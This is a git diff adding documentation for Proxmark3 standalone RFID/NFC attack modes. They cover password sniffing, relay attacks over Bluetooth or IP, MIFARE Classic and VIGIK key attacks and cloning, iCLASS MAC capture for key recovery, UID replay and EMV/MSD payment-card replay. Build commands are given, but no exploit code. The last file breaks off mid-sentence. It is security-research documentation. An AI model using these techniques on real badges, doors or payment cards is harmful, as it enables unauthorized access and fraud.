diff --git a/doc/standalone/hf_bog.md b/doc/standalone/hf_bog.md new file mode 100644 index 000000000..c58ca1891 --- /dev/null +++ b/doc/standalone/hf_bog.md @@ -0,0 +1,68 @@ +# HF_BOG — 14A Sniffer with ULC/ULEV1/NTAG Auth Capture + +> **Author:** Bogito +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 (requires flash memory) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_bog.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +An enhanced ISO14443A sniffer that specifically extracts and stores ULC, ULEV1, and NTAG authentication passwords from sniffed traffic. + +## Why + +Many MIFARE Ultralight deployments use password authentication (PWD_AUTH) to protect data. By sniffing the communication between a legitimate reader and card, you capture the authentication passwords in plaintext. This is more targeted than generic sniffing — it automatically extracts and logs just the passwords. + +## How + +1. Passively sniffs ISO14443A traffic +2. Parses captured frames looking for authentication commands (PWD_AUTH, 3DES AUTH for ULC) +3. Extracts up to 64 authentication attempts per session +4. Saves extracted passwords to `hf_bog.log` on flash + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Sniffing activity | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Short press** | Stop sniffing, save auth data to flash | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Sniffing : Startup + + Sniffing --> Sniffing : Parse frames\nExtract auth attempts + Sniffing --> SaveAuth : Button press + + SaveAuth --> [*] : Saved to hf_bog.log\n(up to 64 auth attempts) +``` + +## Flash Storage + +- **Log file**: `hf_bog.log` +- Stores extracted authentication passwords/keys +- Up to 64 auth attempts per session + +## Compilation + +``` +make clean +make STANDALONE=HF_BOG -j +./pm3-flash-fullimage +``` + +## Related + +- [14A Sniffer](hf_14asniff.md) — Generic 14A sniffer (captures all frames) +- [Aveful UL Reader](hf_aveful.md) — Read and emulate UL cards +- [UL-C/UL-AES Unlocker](hf_doegox_auth0.md) — Unlock password-protected UL cards diff --git a/doc/standalone/hf_cardhopper.md b/doc/standalone/hf_cardhopper.md new file mode 100644 index 000000000..6a95aa8f1 --- /dev/null +++ b/doc/standalone/hf_cardhopper.md @@ -0,0 +1,90 @@ +# HF_CARDHOPPER — Long-Range 14A Relay over IP + +> **Author:** Sam Haskins +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 with Bluetooth (BlueShark) or serial add-on + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_cardhopper.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +A relay attack framework that tunnels ISO14443A communication over a serial/IP backbone. One Proxmark3 sits near the target reader (CARD mode), another near the victim's card (READER mode), and the relayed data bridges any distance. + +## Why + +Relay attacks demonstrate that proximity-based access control can be defeated remotely. Even "tap to pay" and "tap to enter" systems are vulnerable when the communication can be tunneled over the internet. CardHopper demonstrates this in a practical, standalone way without requiring a laptop at either end. + +Use cases: +- **Relay attacks on NFC payments**: Demonstrate contactless payment relay risks +- **Access control relay**: Bypass door readers by relaying a badge from another location +- **Security awareness**: Show stakeholders that NFC proximity offers limited protection + +## How + +1. **CARD mode** (at reader): Emulates an ISO14443A card and forwards all reader commands over serial/BT +2. **READER mode** (at card): Receives forwarded commands, sends them to the real card, and returns responses +3. The two devices communicate via serial/Bluetooth/IP, transparently relaying the full ISO14443A session + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A + D** (solid) | Alive / running indicator | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Button press** | Exit mode | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Init : Startup + + state Init { + [*] --> READER : Config = Reader mode + [*] --> CARD : Config = Card mode + } + + state READER { + WaitCommand --> SendToCard : Command from serial + SendToCard --> SendResponse : Card responds + SendResponse --> WaitCommand : Response sent to serial + } + + state CARD { + WaitReaderCmd --> ForwardToRemote : Reader command received + ForwardToRemote --> ForwardToReader : Remote card response + ForwardToReader --> WaitReaderCmd : Response forwarded + } + + READER --> [*] : Button / Reset + CARD --> [*] : Button / Reset +``` + +## Setup + +Requires two Proxmark3 RDV4 devices: +1. **Near reader**: Running in CARD mode with BT/serial connection +2. **Near card**: Running in READER mode with BT/serial connection +3. Both connected via serial link (direct, Bluetooth, or TCP/IP bridge) + +## Compilation + +``` +make clean +make STANDALONE=HF_CARDHOPPER -j +./pm3-flash-fullimage +``` + +Requires `PLATFORM_EXTRAS=BTADDON` or FPC serial connection. + +## Related + +- [Reblay BT Relay](hf_reblay.md) — Similar 14A relay over Bluetooth +- [14A Sniffer](hf_14asniff.md) — Passive capture instead of active relay diff --git a/doc/standalone/hf_colin.md b/doc/standalone/hf_colin.md new file mode 100644 index 000000000..9896fe267 --- /dev/null +++ b/doc/standalone/hf_colin.md @@ -0,0 +1,71 @@ +# HF_COLIN — VIGIKPWN MIFARE Classic Ultra-Fast Sniff/Sim/Clone + +> **Author:** Colin Brigato +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 (requires flash memory) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_colin.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +A specialized MIFARE Classic attack mode designed for French VIGIK access control systems. It performs fast authentication attempts using ~37 hardcoded VIGIK keys, dumps the card, and can simulate or clone it. + +## Why + +VIGIK is a widely deployed intercom/access control system in French apartment buildings. It uses MIFARE Classic with a known set of keys. This mode automates the entire VIGIK attack chain — from key discovery to cloning — entirely on-device. + +## How + +1. **SEARCH**: Scans for MIFARE Classic cards +2. **READ**: Attempts authentication with hardcoded VIGIK keys, reads accessible sectors +3. **LOAD**: Loads captured data for simulation via JSON schema +4. **EMULATE**: Simulates the captured card + +The mode uses a terminal-style UI with cursor positioning for status display. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| Complex terminal UI | Uses debug output for status rather than traditional LED patterns | + +## Button Controls + +| Action | Effect | +|--------|--------| +| Various presses | Trigger different functions in the UI | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> SEARCH : Startup + + SEARCH --> READ : MFC card found + READ --> LOAD : Keys found,\nsectors dumped + LOAD --> EMULATE : Data loaded + + EMULATE --> SEARCH : Cycle back + + READ --> SEARCH : No valid keys + + SEARCH --> [*] : Exit +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_COLIN -j +./pm3-flash-fullimage +``` + +## Related + +- [MattyRun MFC Clone](hf_mattyrun.md) — Generic MIFARE Classic attack +- [MFC Simulator](hf_mfcsim.md) — MFC simulation from flash +- [Young MFC Sniff/Sim](hf_young.md) — MFC sniff and simulation +- [MIFARE Classic Notes](../mfc_notes.md) — Key recovery techniques +- [Magic Cards Notes](../magic_cards_notes.md) — Writable magic card types diff --git a/doc/standalone/hf_craftbyte.md b/doc/standalone/hf_craftbyte.md new file mode 100644 index 000000000..8cc3b9643 --- /dev/null +++ b/doc/standalone/hf_craftbyte.md @@ -0,0 +1,67 @@ +# HF_CRAFTBYTE — ISO14443A UID Stealer/Emulator + +> **Author:** Anze Jensterle +> **Frequency:** HF (13.56 MHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_craftbyte.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Continuously scans for ISO14443A cards, captures their UIDs, and emulates them. Auto-detects card type (MFC 1K/4K, MIFARE Ultralight, DESFire). + +## Why + +Many access control systems rely primarily (or solely) on the UID of an NFC card for identification, without performing proper cryptographic authentication. CraftByte exploits this by capturing and replaying UIDs — demonstrating that UID-based access control is trivially defeated. + +## How + +1. **READ**: Performs ISO14443A anticollision to read the card's UID, ATQA, and SAK +2. **EMULATE**: Uses the captured UID to emulate the card at a reader + +The mode detects the card type from ATQA/SAK and configures emulation accordingly. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| Minimal LED usage | Focus on read/emulate cycle | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 1000ms** | Cycle: READ → EMULATE, or exit if held continuously | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> READ : Startup + + READ --> EMULATE : UID captured\n(button hold) + EMULATE --> READ : Button hold\n(scan new card) + + READ --> READ : Scanning... + EMULATE --> EMULATE : Emulating... + + READ --> [*] : Long hold / USB data + EMULATE --> [*] : Long hold / USB data +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_CRAFTBYTE -j +./pm3-flash-fullimage +``` + +## Related + +- [Aveful UL Reader](hf_aveful.md) — Full UL read/emulate (not just UID) +- [MattyRun MFC Clone](hf_mattyrun.md) — Full MFC attack (keys + data) +- [Young MFC Sniff/Sim](hf_young.md) — MFC UID capture with 2-bank storage diff --git a/doc/standalone/hf_doegox_auth0.md b/doc/standalone/hf_doegox_auth0.md new file mode 100644 index 000000000..36caf02e6 --- /dev/null +++ b/doc/standalone/hf_doegox_auth0.md @@ -0,0 +1,77 @@ +# HF_DOEGOX_AUTH0 — Ultralight C / Ultralight AES Unlocker + +> **Author:** Philippe Teuwen (doegox) +> **Frequency:** HF (13.56 MHz) +> **Hardware:** Generic Proxmark3 (RDV4 with 9V antenna recommended) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_doegox_auth0.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Performs a relay-style attack to unlock password-protected MIFARE Ultralight C or Ultralight AES tags by rewriting the AUTH0 configuration byte during an authenticated session. + +## Why + +MIFARE Ultralight C and AES variants can password-protect their memory by setting an AUTH0 byte that specifies the first page requiring authentication. If AUTH0 itself is writable during an authenticated session, this mode exploits that window — during a legitimate reader's auth handshake — to rewrite AUTH0 to a higher page number, effectively unlocking all previously protected pages. + +This is a sophisticated attack that requires precise timing and makes protected data permanently accessible. + +## How + +1. **LOOK**: Search for an Ultralight C or AES tag +2. **SNIFF**: Position the Proxmark3 to sniff the authentication exchange between the legitimate reader and the card +3. **WAIT**: Press button when ready to attempt the AUTH0 rewrite +4. **WRITE**: During the next auth session, inject a write command to AUTH0 that unlocks the card +5. **Result**: LED indicates success (solid) or failure (blink) + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Looking for card / preparing | +| **B** (solid) | Card found | +| **C** (solid) | Sniffing for auth exchange | +| **D** (solid) | Write successful | +| **D** (blinking) | Write failed | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Press (1 sec)** | Initiate AUTH0 write during next auth sniff | +| **Button press** | Exit mode (from other states) | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> LOOK_FOR_CARD : Startup\nLED_A + + LOOK_FOR_CARD --> SNIFF_AUTH : ULC/ULAES found\nLED_B → LED_C + LOOK_FOR_CARD --> LOOK_FOR_CARD : No compatible card + + SNIFF_AUTH --> WAIT_BUTTON : Auth detected + WAIT_BUTTON --> WAIT_RELEASE : Button pressed\n(ready to write) + WAIT_RELEASE --> WRITE_AUTH0 : Button released + + WRITE_AUTH0 --> EXIT_SUCCESS : AUTH0 rewritten\nLED_D solid + WRITE_AUTH0 --> EXIT_FAIL : Write failed\nLED_D blink + + EXIT_SUCCESS --> [*] + EXIT_FAIL --> [*] +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_DOEGOX_AUTH0 -j +./pm3-flash-fullimage +``` + +## Related + +- [BogitoRun Auth Sniffer](hf_bog.md) — Capture UL auth passwords +- [Aveful UL Reader](hf_aveful.md) — Read/emulate UL cards diff --git a/doc/standalone/hf_emvpng.md b/doc/standalone/hf_emvpng.md new file mode 100644 index 000000000..68bfef5b6 --- /dev/null +++ b/doc/standalone/hf_emvpng.md @@ -0,0 +1,72 @@ +# HF_EMVPNG — EMV Visa Card Reader/Emulator + +> **Author:** Davi Mikael (Penegui) +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 (flash memory) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_emvpng.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Reads Visa EMV contactless payment cards and emulates the captured transaction data with a fixed ARQC (Authorization Request Cryptogram). **For educational and lab use only.** + +## Why + +Demonstrates the theoretical vulnerability of contactless payment cards to replay attacks when terminals don't properly validate cryptograms. This mode is designed for controlled lab environments to: + +- **Educate**: Show how EMV contactless transactions work at the protocol level +- **Research**: Study EMV protocol behavior and terminal validation +- **Test terminals**: Verify that terminals properly reject replayed transactions + +> ⚠ **Warning**: This mode uses a fixed ARQC. Modern payment terminals will reject these transactions. This is for educational purposes only. + +## How + +1. **READ**: Select the Visa application (PPSE/AID), read Track 2 data +2. **EMULATE**: Present captured Track 2 data with a fixed ARQC when queried by a terminal + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Reading mode | +| **B** (solid) | Activity indicator | +| **C** (solid) | Emulation mode | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Single click** | Toggle between READ and EMULATE modes | +| **Long hold** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> READ : Startup + + READ --> EMULATE : Card read\n+ button click + EMULATE --> READ : Button click + + READ --> READ : Waiting for Visa card + EMULATE --> EMULATE : Emulating with fixed ARQC + + READ --> [*] : Long hold / USB data + EMULATE --> [*] : Long hold / USB data +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_EMVPNG -j +./pm3-flash-fullimage +``` + +## Related + +- [MSD Visa Reader](hf_msdsal.md) — Visa MSD (older format) reader/emulator +- [EMV Notes](../emv_notes.md) — EMV protocol documentation diff --git a/doc/standalone/hf_iceclass.md b/doc/standalone/hf_iceclass.md new file mode 100644 index 000000000..e717a9227 --- /dev/null +++ b/doc/standalone/hf_iceclass.md @@ -0,0 +1,105 @@ +# HF_ICECLASS — iCLASS Multi-Mode Standalone + +> **Author:** Iceman +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 (requires flash memory) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_iceclass.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +A multi-mode iCLASS standalone with **7 selectable modes** for different operations: full simulation, reader attack, dump-and-simulate, read-and-simulate, and configuration card creation. Only one mode is active per compile. + +## Why + +HID iCLASS is a widely deployed access control system. This mode provides a comprehensive toolkit for iCLASS assessment: + +- **Credential recovery**: Capture authentication data for offline key recovery (loclass attack) +- **Badge simulation**: Emulate captured iCLASS credentials at readers +- **Reader configuration**: Create config cards that can reconfigure iCLASS readers (e.g., downgrade attacks) + +## How + +The mode selected at compile time (`ICE_USE` macro) determines behavior: + +| ICE_USE Value | Mode | Description | +|---------------|------|-------------| +| ICE_USE_FULLSIM | Full Simulation | Emulate a complete iCLASS card from EEPROM dump | +| ICE_USE_READER_ATTACK | Reader Attack | Capture authentication MACs for loclass recovery | +| ICE_USE_DUMP_SIM | Dump & Simulate | Dump a card then immediately simulate it | +| ICE_USE_READ_SIM | Read & Simulate | Read credential blocks and simulate | +| ICE_USE_CONFIG_CARD | Config Card | Create configuration cards for reader reprogramming | + +The reader attack mode is particularly powerful: it captures the authentication exchange between a reader and cards, producing MAC pairs that feed into the loclass attack for key recovery. + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **B** (solid/blink) | Attack mode activity | +| **D** (solid) | General operation indicator | +| Mode-specific patterns | Vary by selected ICE_USE mode | + +## Button Controls + +Vary by selected mode. Generally: + +| Action | Effect | +|--------|--------| +| **Button press** | Mode-specific action | +| **Hold** | Exit standalone mode | + +## State Machine (Reader Attack Mode) + +```mermaid +stateDiagram-v2 + [*] --> WaitCard : Startup\n(Reader Attack mode) + + WaitCard --> Authenticate : iCLASS card detected + Authenticate --> CaptureMAC : Auth exchange\ncaptured + CaptureMAC --> SaveFlash : MAC pair logged + + SaveFlash --> WaitCard : Continue collecting + WaitCard --> [*] : Button hold / USB data + + note right of CaptureMAC + MAC pairs used for + loclass key recovery + end note +``` + +## State Machine (Dump & Simulate Mode) + +```mermaid +stateDiagram-v2 + [*] --> ScanCard : Startup + + ScanCard --> DumpCard : iCLASS card found + DumpCard --> LoadEmulator : Dump complete + LoadEmulator --> Simulate : Data loaded + + Simulate --> [*] : Button hold / USB data + DumpCard --> ScanCard : Dump failed +``` + +## Flash Storage + +- Captured MAC pairs stored on SPI flash for later retrieval +- EEPROM dumps stored for simulation modes +- Configuration card templates + +## Compilation + +``` +make clean +make STANDALONE=HF_ICECLASS -j +./pm3-flash-fullimage +``` + +## Related + +- [Loclass Notes](../loclass_notes.md) — Loclass attack documentation +- [HID Downgrade Attacks](../hid_downgrade.md) — Reader downgrade techniques +- [IceHID Collector](lf_icehid.md) — LF HID credential collection (different protocol) diff --git a/doc/standalone/hf_legic.md b/doc/standalone/hf_legic.md new file mode 100644 index 000000000..8b337f104 --- /dev/null +++ b/doc/standalone/hf_legic.md @@ -0,0 +1,66 @@ +# HF_LEGIC — Legic Prime Read/Simulate + +> **Author:** uhei +> **Frequency:** HF (13.56 MHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_legic.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Reads Legic Prime tags and simulates them. Auto-detects card type (MIM256, MIM512, MIM1024). + +## Why + +Legic Prime is a proprietary HF contactless technology used in European access control, time & attendance, and vending systems. This mode provides standalone read-and-replay capability. + +## How + +1. **Search**: Continuously scans for Legic Prime tags +2. **Read**: On detection, dumps the tag memory (auto-detects size) +3. **Simulate**: Broadcasts the captured tag data + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **C** (solid) | Searching for tag | +| **A + B + C** (solid) | Reading tag | +| **A + D** (solid) | Simulating tag | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 280ms** | Exit standalone mode | +| **USB command** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> Search : Startup\nLED_C + + Search --> Read : Legic Prime found\nLED_A+B+C + Read --> Simulate : Tag dumped\nLED_A+D + + Simulate --> Search : Loop back + Read --> Search : Read failed + + Search --> [*] : Button hold / USB data + Simulate --> [*] : Button hold / USB data +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_LEGIC -j +./pm3-flash-fullimage +``` + +## Related + +- [Legic Prime Simulator](hf_legicsim.md) — Multi-slot Legic simulation from flash diff --git a/doc/standalone/hf_legicsim.md b/doc/standalone/hf_legicsim.md new file mode 100644 index 000000000..ee439a1b9 --- /dev/null +++ b/doc/standalone/hf_legicsim.md @@ -0,0 +1,81 @@ +# HF_LEGICSIM — Legic Prime Multi-Slot Simulator + +> **Author:** uhei +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 (requires flash memory) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_legicsim.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Simulates Legic Prime MIM1024 dumps stored on flash memory. Supports up to **15 dump slots** that can be cycled through. Changes made by readers during simulation are written back to the dump. + +## Why + +When you need to emulate multiple Legic Prime cards on-site — for example, testing which credentials grant access to different areas. The 15-slot capacity and flash persistence means dumps survive power cycles. + +## How + +1. On startup, loads the first dump from flash (`hf_legicsim_dump_01.bin`) +2. Simulates the loaded dump as a Legic Prime MIM1024 tag +3. Short press cycles to the next slot +4. After simulation, any changes written by readers are saved back to the dump file + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| LEDs (1–15) | Current slot number indication | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Short press** | Next dump slot | +| **Hold 500ms** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> LoadSlot1 : Startup + + LoadSlot1 --> Simulate : Dump loaded + Simulate --> WriteBack : Simulation stopped + WriteBack --> LoadSlot2 : Short press\nSave changes, next slot + + LoadSlot2 --> Simulate : Dump loaded + + Simulate --> [*] : Hold 500ms + + note right of Simulate + Slots 01-15 + Files: hf_legicsim_dump_XX.bin + Each 1024 bytes (MIM1024) + end note +``` + +## Flash Files + +Upload dumps before use: +``` +mem spiffs load -s hf_legicsim_dump_01.bin -d hf_legicsim_dump_01.bin +mem spiffs load -s hf_legicsim_dump_02.bin -d hf_legicsim_dump_02.bin +... +``` + +Each file is 1024 bytes (Legic Prime MIM1024 dump). + +## Compilation + +``` +make clean +make STANDALONE=HF_LEGICSIM -j +./pm3-flash-fullimage +``` + +## Related + +- [Legic Prime Reader](hf_legic.md) — Read and simulate Legic tags (single shot) diff --git a/doc/standalone/hf_mattyrun.md b/doc/standalone/hf_mattyrun.md new file mode 100644 index 000000000..23c861d7c --- /dev/null +++ b/doc/standalone/hf_mattyrun.md @@ -0,0 +1,88 @@ +# HF_MATTYRUN — MIFARE Classic Key Check/Dump/Emulate + +> **Author:** Matías A. Ré Medina +> **Frequency:** HF (13.56 MHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_mattyrun.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +A full MIFARE Classic attack chain: discovers MFC cards, checks keys from a built-in dictionary, dumps the card using ecfill, then emulates it. Supports MIFARE Classic 1K and 4K. + +## Why + +MIFARE Classic is the most widely deployed contactless smart card worldwide — used in transit, access control, and loyalty systems. MattyRun automates the complete attack pipeline on-device: + +1. Find the card +2. Recover the keys (from dictionary) +3. Dump all data +4. Emulate the full card at a reader + +No laptop required at any step. + +## How + +1. **READ**: Scans for MIFARE Classic cards (anticollision, ATQA/SAK check) +2. **ATTACK**: Checks keys from the built-in dictionary against all sectors. Uses nested authentication attack if partial keys are found +3. **LOAD**: Performs ecfill to dump the card data into the emulator memory +4. **EMULATE**: Simulates the complete MIFARE Classic card including all sector keys and data + +LED D lit during emulation indicates a partial dump (some sectors couldn't be read). + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **C + D** (solid) | Idle / searching for card | +| **C + D** (blinking) | Authenticating / checking keys | +| **B** (solid) | Attack mode (nested) | +| **A + B + C** (solid) | Loading data to emulator | +| **A + B + C + D** (solid) | Emulating (D = partial dump warning) | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Hold 280ms** | Exit standalone mode | +| **Short press** | No effect (purely state-machine driven) | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> READ : Startup\nLED_C+D + + READ --> ATTACK : MFC card found\nLED_C+D blink + READ --> READ : No card found + + ATTACK --> LOAD : Keys recovered\nLED_B + ATTACK --> READ : No keys found\n(retry with new card) + + LOAD --> EMULATE : ecfill complete\nLED_A+B+C + + EMULATE --> [*] : Button hold\nLED_A+B+C+D + + note right of EMULATE + LED_D lit = partial dump + (some sectors unreadable) + end note +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_MATTYRUN -j +./pm3-flash-fullimage +``` + +## Related + +- [VIGIKPWN](hf_colin.md) — MIFARE Classic with VIGIK-specific keys +- [MFC Simulator](hf_mfcsim.md) — Simulate MFC from flash dumps +- [Young MFC Sniff/Sim](hf_young.md) — UID-based MFC sniff and sim +- [MIFARE Classic Notes](../mfc_notes.md) — Key recovery and attack techniques +- [Magic Cards Notes](../magic_cards_notes.md) — Writing to magic/CUID cards diff --git a/doc/standalone/hf_mfcsim.md b/doc/standalone/hf_mfcsim.md new file mode 100644 index 000000000..64889264e --- /dev/null +++ b/doc/standalone/hf_mfcsim.md @@ -0,0 +1,84 @@ +# HF_MFCSIM — MIFARE Classic 1K Multi-Slot Simulator + +> **Author:** Ray Lee +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 (requires flash memory) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_mfcsim.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Simulates MIFARE Classic 1K cards from dump files stored on flash. Supports up to **15 dump slots**. Changes written by readers during simulation are saved back to the dump file. + +## Why + +When you have multiple MIFARE Classic card dumps (from `hf mf dump` or other tools) and need to emulate them on-site without a laptop. The 15-slot capacity covers multiple credentials, and the write-back feature preserves any reader-induced changes. + +## How + +1. Loads dump number 1 from flash (`hf_mfcsim_dump_01.bin`) +2. Configures the emulator with full card data including all sector keys +3. Begins simulation +4. Cycle through slots for different cards +5. Any writes from readers are saved back to the dump file + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| LEDs | Indicate current dump slot number (1–15) | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Short press** | Next dump slot | +| **Hold 500ms** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> LoadSlot : Startup + + LoadSlot --> Simulate : Dump loaded into emulator + Simulate --> WriteBack : Simulation stopped + + WriteBack --> LoadNext : Short press\nSave, advance slot + LoadNext --> LoadSlot : Load next dump + + Simulate --> [*] : Hold 500ms + + note right of Simulate + Slots 01-15 + Files: hf_mfcsim_dump_XX.bin + Each 1024 bytes (MFC 1K) + end note +``` + +## Flash Files + +Upload dumps before use: +``` +mem spiffs load -s hf_mfcsim_dump_01.bin -d hf_mfcsim_dump_01.bin +mem spiffs load -s hf_mfcsim_dump_02.bin -d hf_mfcsim_dump_02.bin +... +``` + +Each file is 1024 bytes (MIFARE Classic 1K dump including sector keys). + +## Compilation + +``` +make clean +make STANDALONE=HF_MFCSIM -j +./pm3-flash-fullimage +``` + +## Related + +- [MattyRun MFC Clone](hf_mattyrun.md) — Full MFC attack chain (discover → dump → emulate) +- [VIGIKPWN](hf_colin.md) — VIGIK-specific MFC attacks +- [MIFARE Classic Notes](../mfc_notes.md) — Key recovery techniques diff --git a/doc/standalone/hf_msdsal.md b/doc/standalone/hf_msdsal.md new file mode 100644 index 000000000..8bb41a88d --- /dev/null +++ b/doc/standalone/hf_msdsal.md @@ -0,0 +1,68 @@ +# HF_MSDSAL — Visa MSD Card Reader/Emulator + +> **Author:** Salvador Mendoza +> **Frequency:** HF (13.56 MHz) +> **Hardware:** Generic Proxmark3 + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_msdsal.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Reads Visa MSD (Magnetic Stripe Data) cards and emulates the captured Track 2 equivalent data. MSD is an older EMV contactless mode that mirrors magnetic stripe data over NFC. + +## Why + +Visa MSD mode transmits Track 2 data in a format similar to magnetic stripe cards. This mode demonstrates the risk of MSD mode by capturing and replaying the transaction data. MSD has largely been superseded by EMV contactless (qVSDC), but some terminals still support it as a fallback. + +> ⚠ **Note**: MSD mode is deprecated in many markets. Modern terminals may reject MSD transactions. + +## How + +1. **READ**: Selects PPSE → Visa AID → reads PDOL/SFI → extracts 19-byte Track 2 data +2. **EMULATE**: Presents the captured Track 2 data when queried by a terminal + +## LED Indicators + +| LED | Meaning | +|-----|---------| +| **A** (solid) | Reading mode | +| **B** (solid) | Activity indicator | +| **C** (solid) | Emulation mode (Track 2 loaded) | + +## Button Controls + +| Action | Effect | +|--------|--------| +| **Single click** | Toggle between READ and EMULATE | +| **Long hold** | Exit standalone mode | + +## State Machine + +```mermaid +stateDiagram-v2 + [*] --> READ : Startup + + READ --> EMULATE : Track2 captured\n+ button click + EMULATE --> READ : Button click + + READ --> READ : Waiting for Visa MSD card + EMULATE --> EMULATE : Emulating Track2 + + READ --> [*] : Long hold / USB data + EMULATE --> [*] : Long hold / USB data +``` + +## Compilation + +``` +make clean +make STANDALONE=HF_MSDSAL -j +./pm3-flash-fullimage +``` + +## Related + +- [EMV Visa Reader/Emulator](hf_emvpng.md) — Modern EMV Visa reader/emulator +- [EMV Notes](../emv_notes.md) — EMV protocol documentation diff --git a/doc/standalone/hf_reblay.md b/doc/standalone/hf_reblay.md new file mode 100644 index 000000000..19e3b75d7 --- /dev/null +++ b/doc/standalone/hf_reblay.md @@ -0,0 +1,87 @@ +# HF_REBLAY — ISO 14443-A Relay over Bluetooth + +> **Author:** Salvador Mendoza +> **Frequency:** HF (13.56 MHz) +> **Hardware:** RDV4 with Bluetooth module (required) + +[Back to Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation) | [Source Code](../../armsrc/Standalone/hf_reblay.c) | [Development Guide](../../armsrc/Standalone/readme.md#developing-standalone-modes) + +--- + +## What + +Relays ISO 14443-A NFC communications between a real card and a remote reader over Bluetooth. One Proxmark3 RDV4 acts as the reader (captures card responses), the other as the emulator (presents them to a terminal), with Bluetooth bridging the two. + +## Why + +Relay attacks demonstrate a fundamental weakness in proximity-based authentication: the assumption that the card is physically near the reader. By relaying messages in real-time, an attacker can use a card that is far away — for example, performing a contactless payment using a card in someone else's pocket. This mode is an educational tool for understanding relay attack mechanics. + +> ⚠ **Security Research Only**: This tool demonstrates a known class of NFC vulnerability for research purposes. + +## How + +1. **Device A (Reader side)**: Placed near the victim's card. Receives APDU commands from Device B over BT, sends them to the card, relays responses back over BT. +2. **Device B (Emulator side)**: Placed near the target terminal. Receives terminal commands, 